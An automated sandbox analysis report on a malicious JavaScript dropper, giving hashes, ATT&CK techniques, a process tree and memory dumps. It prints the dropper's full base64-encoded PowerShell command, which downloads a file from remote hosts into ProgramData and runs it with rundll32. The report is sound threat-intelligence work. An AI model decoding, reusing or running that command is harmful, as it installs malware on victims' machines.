726a7ea1923ffa5c7fc0dca35ad4a8149150adbb1632148d0a8811147967fa66

General

Target

aoPXgpWCNysB3.js
Size

318KB
MD5

d8b6636598ae93e660486051bc9003ed
SHA1

44786774280d1326861ba735b29c65c4b8480d38
SHA256

726a7ea1923ffa5c7fc0dca35ad4a8149150adbb1632148d0a8811147967fa66
SHA512

aedae8ec12868db7037d7b104036a9c6320e6d5ac4054753287b341b73bb38565c25ee12de604a7fb7635a238f4152aa963ecb98bed69d6c18aae4b94fa223b1
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbjynVp7kup2yaBhS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygm

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
17	1164	powershell.exe
26	1164	powershell.exe
36	1164	powershell.exe
46	1164	powershell.exe
47	1164	powershell.exe
58	1164	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1164	powershell.exe
1164	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1164	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 224 wrote to memory of 1164	224	wscript.exe	84
PID 224 wrote to memory of 1164	224	wscript.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\aoPXgpWCNysB3.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABuAG8AZQB0AGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMgBBAEcAVQBBAGMAZwBCADIAQQBHAEUAQQBhAFEAQgB1AEEASABNAEEAUwBBAEIAdgBBAEgAVQBBAGMAdwBCAGwAQQBHAGMAQQBkAFEAQgBsAEEASABNAEEAZABBAEEAdQBBAEgATQBBAFkAUQBBAD0AIgA7ACQAZAByAHkAcwBhAGwAdABlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBlAFEAQgB1AEEARwA4AEEAYwBBAEIAbwBBAEcAawBBAGIAQQBCAGwAQQBDADQAQQBZAHcAQgBzAEEARwA4AEEAZABRAEIAawBBAEMAOABBAE0AQQBBADMAQQBFADQAQQBMAHcAQgBVAEEARABVAEEAYwBnAEIAawBBAEgASQBBAFQASQBjAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AUQBBADIAQQBDADQAQQBPAEEAQQAxAEEAQwA0AEEATwBBAEEAMgBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAHcAQgBuAEEARQBFAEEAVgBRAEIANgBBAEUANABBAEwAdwBCAEgAQQBEAGsAQQBZAGcAQgB0AEEARABRAEEAVABJAGMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYwBnAEIAagBBAEcAZwBBAGEAQQBCAHYAQQBIAFUAQQBjAHcAQgBsAEEARgBNAEEAZQBRAEIAdQBBAEcAVQBBAGMAZwBCAG4AQQBIAGsAQQBMAGcAQgBvAEEARwA4AEEAWQB3AEIAcgBBAEcAVQBBAGUAUQBBAHYAQQBIAEUAQQBaAGcAQQB2AEEARQBNAEEAYQBRAEIAdgBBAEgAawBBAGQAdwBBAD0AVABJAGMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBBAEEANABBAEMANABBAE4AQQBBAHcAQQBDADQAQQBNAGcAQQB4AEEARABnAEEATABnAEEAeABBAEQAWQBBAE0AUQBBAHYAQQBFAGMAQQBMAHcAQgBWAEEAQQA9AD0AVABJAGMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAFkAQQBMAGcAQQA0AEEARABRAEEATABnAEEAeABBAEQAUQBBAE4AQQBBAHYAQQBEAGsAQQBkAHcAQgB0AEEARQBvAEEATAB3AEIAcQBBAEUAYwBBAFEAZwBCAGwAQQBEAGMAQQBUAEkAYwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQgBQAEEARwBvAEEAVgB3AEIASQBBAEcAYwBBAGUAUQBCADMAQQBBAD0APQBUAEkAYwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHYAQQBIAGMAQQBaAEEAQgAzAEEARwBVAEEAWgBnAEIAawBBAEYASQBBAGEAdwBBAD0AVABJAGMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEYAUQBBAFoAZwBCAHAAQQBHAFUAQQBlAEEAQQB3AEEARQBjAEEATQBBAEIAeABBAEUAOABBAE0AdwBBAD0AIgA7ACQARQB1AG8AbgB5AG0AUwB5AGMAbwBuAGkAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAFUAQQBNAEEAQQB1AEEARABFAEEATgBnAEEAdwBBAEMANABBAE0AUQBBAHcAQQBEAGcAQQBpAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFkAQQBMAGcAQQB4AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBADEAQQBBAD0APQBpAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA1AEEARABNAEEATABnAEEAeABBAEQAQQBBAE0AQQBBAHUAQQBEAEUAQQBOAEEAQQAwAEEAQwA0AEEATgBRAEEAMQBBAEEAPQA9ACIAOwAkAG0AYQByAHYAZQBsAEIAaQBjAGEAdQBkAGEAdABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAzAEEARABRAEEATABnAEEAeABBAEQAawBBAE4AUQBBAHUAQQBEAEkAQQBNAEEAQQA0AEEAQwA0AEEATQBRAEEAdwBBAEQAVQBBAEMAWgB1AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAYwBBAFoAUQBCAHkAQQBHAHcAQQBZAFEAQgB1AEEARwBRAEEAVgBRAEIAdQBBAEgATQBBAFoAUQBCADAAQQBIAE0AQQBMAGcAQgBuAEEARwBFAEEAYwBnAEIAawBBAEcAVQBBAGIAZwBBAD0AQwBaAHUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBJAEEAZABRAEIAeQBBAEcANABBAGQAUQBCAHcAQQBFAE0AQQBiAHcAQgAxAEEARwB3AEEAWQBRAEIAbgBBAEcAVQBBAEwAZwBCAG0AQQBIAGsAQQBhAFEAQQA9ACIAOwAkAFMAdQBwAGUAcgBzAGUAcgBhAHAAaABpAGMATQBvAGQAdQBsAGkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBnAEEAeABBAEQAawBBAEwAZwBBAHgAQQBEAGsAQQBOAHcAQQB1AEEARABFAEEATQBBAEEAMABBAEEAPQA9AHUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATgB3AEEAdQBBAEQAYwBBAE4AdwBBAHUAQQBEAGsAQQBPAFEAQQB1AEEARABFAEEATwBBAEEAeQBBAEEAPQA9ACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFUAbgBwAGUAcgBtAGkAcwBzAGkAYgBsAGUASAB5AGQAcgBvAHgAeQBkAGUAaAB5AGQAcgBvAGMAbwByAHQAaQBjAG8AcwB0AGUAcgBvAG4AZQAgAGkAbgAgACQAZAByAHkAcwBhAGwAdABlAHIAIAAtAHMAcABsAGkAdAAgACIAVABJAGMAIgApACAAewB0AHIAeQAgAHsAJABoAGUAdABlAHIAbwBwAGwAYQBzAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADQAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATQBRAEEANQBBAEQAYwBBAEwAZwBBADAAQQBEAFEAQQBHAGoARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGcAQQBPAFEAQQB1AEEARABFAEEATQBRAEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBPAEEAQQB6AEEAQQA9AD0ARwBqAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBRAEEAMwBBAEMANABBAE0AUQBBADMAQQBEAEUAQQBMAGcAQQB4AEEARABBAEEATQB3AEEAdQBBAEQASQBBAE4AQQBBADQAQQBBAD0APQAiADsAJABBAGUAcwB0AGgAZQB0AGkAYwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBqAEEARwA4AEEAWgBRAEIAawBBAEgAVQBBAFkAdwBCAGgAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAWQBRAEIAcwBBAEcAawBBAGUAZwBCAGwAQQBDADQAQQBZAHcAQgB2AEEARwA0AEEAWgBBAEIAdgBBAEgATQBBACIAOwAkAGgAZQBzAGkAdABhAG4AYwBlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFUAbgBwAGUAcgBtAGkAcwBzAGkAYgBsAGUASAB5AGQAcgBvAHgAeQBkAGUAaAB5AGQAcgBvAGMAbwByAHQAaQBjAG8AcwB0AGUAcgBvAG4AZQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGgAZQBzAGkAdABhAG4AYwBlACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGcAaQBnAGYAdQBsAC4AQwBhAHIAYQBtAGIAbwBsAGkAbgBnADsAJABkAGUAdABlAGMAdABvAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAGsAQQBjAHcAQgBsAEEARwAwAEEAWQBnAEIAdgBBAEcAUQBBAGEAUQBCAGwAQQBIAE0AQQBSAFEAQgB1AEEARwBRAEEAYgB3AEIAdwBBAEgASQBBAGIAdwBCAGoAQQBIAFEAQQBZAFEAQQB1AEEASABNAEEAWQBRAEIAcwBBAEcAVQBBAHEAaQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAHcAQQB1AEEARABJAEEATQB3AEEAMQBBAEMANABBAE0AZwBBAHcAQQBEAGMAQQBMAGcAQQAzAEEARABBAEEAcQBpAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE8AQQBBAHUAQQBEAEkAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAMABBAEQATQBBAEwAZwBBAHkAQQBEAE0AQQBNAHcAQQA9ACIAOwAkAHAAdQBiAGwAaQBjAGEAdABpAG8AbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIATQBBAEcAVQBBAFkAUQBCAGsAQQBIAGMAQQBiAHcAQgB5AEEARwBzAEEAUwBRAEIAdQBBAEgAUQBBAGMAZwBCAGgAQQBHAHcAQQBaAFEAQgAxAEEARwBzAEEAYgB3AEIAagBBAEgAawBBAGQAQQBCAHAAQQBHAE0AQQBMAGcAQgB6AEEARwBrAEEAYgBnAEIAbgBBAEcAdwBBAFoAUQBCAHoAQQBBAD0APQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABnAGkAZwBmAHUAbAAuAEMAYQByAGEAbQBiAG8AbABpAG4AZwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMAAxADQANgA2ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBaAHcAQgBwAEEARwBjAEEAWgBnAEIAMQBBAEcAdwBBAEwAZwBCAEQAQQBHAEUAQQBjAGcAQgBoAEEARwAwAEEAWQBnAEIAdgBBAEcAdwBBAGEAUQBCAHUAQQBHAGMAQQBMAEEAQgB0AEEASABVAEEAYwB3AEIAMABBAEQAcwBBACIAOwAkAEMAZQBsAGwAdQBsAG8AcwBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMgBBAEQAVQBBAEwAZwBBAHgAQQBEAE0AQQBOAHcAQQB1AEEARABVAEEATwBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYASQBBAFoAUQBCADMAQQBHADgAQQBjAGcAQgByAEEARwBrAEEAYgBnAEIAbgBBAEYASQBBAGEAUQBCAHUAQQBHAGMAQQBZAGcAQgBoAEEASABJAEEAYQB3AEEAdQBBAEcASQBBAGEAUQBCAGsAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AdwBBAHUAQQBEAEUAQQBOAGcAQQB4AEEAQwA0AEEATwBRAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFkAQQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIARgBBAEgAawBBAFoAUQBCAHoAQQBHAFUAQQBjAGcAQgAyAEEARwBFAEEAYgBnAEIAMABBAEMANABBAGEAUQBCAHYAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1164

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqqxja0v.uq3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1164-133-0x000001BF70A50000-0x000001BF70A60000-memory.dmp

Filesize
64KB

Download
memory/1164-134-0x000001BF70A50000-0x000001BF70A60000-memory.dmp

Filesize
64KB

Download
memory/1164-140-0x000001BF71190000-0x000001BF711B2000-memory.dmp

Filesize
136KB

Download
memory/1164-145-0x000001BF70A50000-0x000001BF70A60000-memory.dmp

Filesize
64KB

Download
memory/1164-146-0x000001BF711C0000-0x000001BF713DC000-memory.dmp

Filesize
2.1MB

Download
memory/1164-148-0x000001BF70A50000-0x000001BF70A60000-memory.dmp

Filesize
64KB

Download
memory/1164-147-0x000001BF70A50000-0x000001BF70A60000-memory.dmp

Filesize
64KB

Download
memory/1164-149-0x000001BF70A50000-0x000001BF70A60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing